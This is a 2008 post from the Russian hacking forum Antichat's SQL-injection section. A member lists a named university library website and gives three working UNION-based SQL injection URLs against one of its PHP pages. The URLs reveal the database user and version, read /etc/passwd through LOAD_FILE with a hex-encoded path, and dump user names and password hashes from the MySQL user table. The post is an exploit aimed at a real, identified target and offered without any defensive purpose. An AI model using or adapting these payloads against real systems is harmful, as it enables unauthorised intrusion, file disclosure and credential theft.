Форум АНТИЧАТ - SQL Инъекции

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

27.02.2008, 13:22

1NtR0

Участник форума

Регистрация: 14.04.2007

Сообщений: 197

Провел на форуме:
1122391

Репутация: 209

fantastic.library.cornell.edu

Код:

http://fantastic.library.cornell.edu/imagerecord_l.php?record=6+union+select+concat_ws(0x3a3a3a,user(),database(),version()),2,3,4,5,6,7,8,9,10,11,12+from+mysql.user/*

user() = fan@localhost
database() - fantastic
version() - 4.1.7-standart

Код:

http://fantastic.library.cornell.edu/imagerecord_l.php?record=6+union+select+LOAD_FILE(0x2f6574632f706173737764),2,3,4,5,6,7,8,9,10,11,12/*

Код:

http://fantastic.library.cornell.edu/imagerecord_l.php?record=6+union+select+concat_ws(0x3a3a3a,user,password),2,3,4,5,6,7,8,9,10,11,12+from+mysql.user/*

Смотрим исходник =)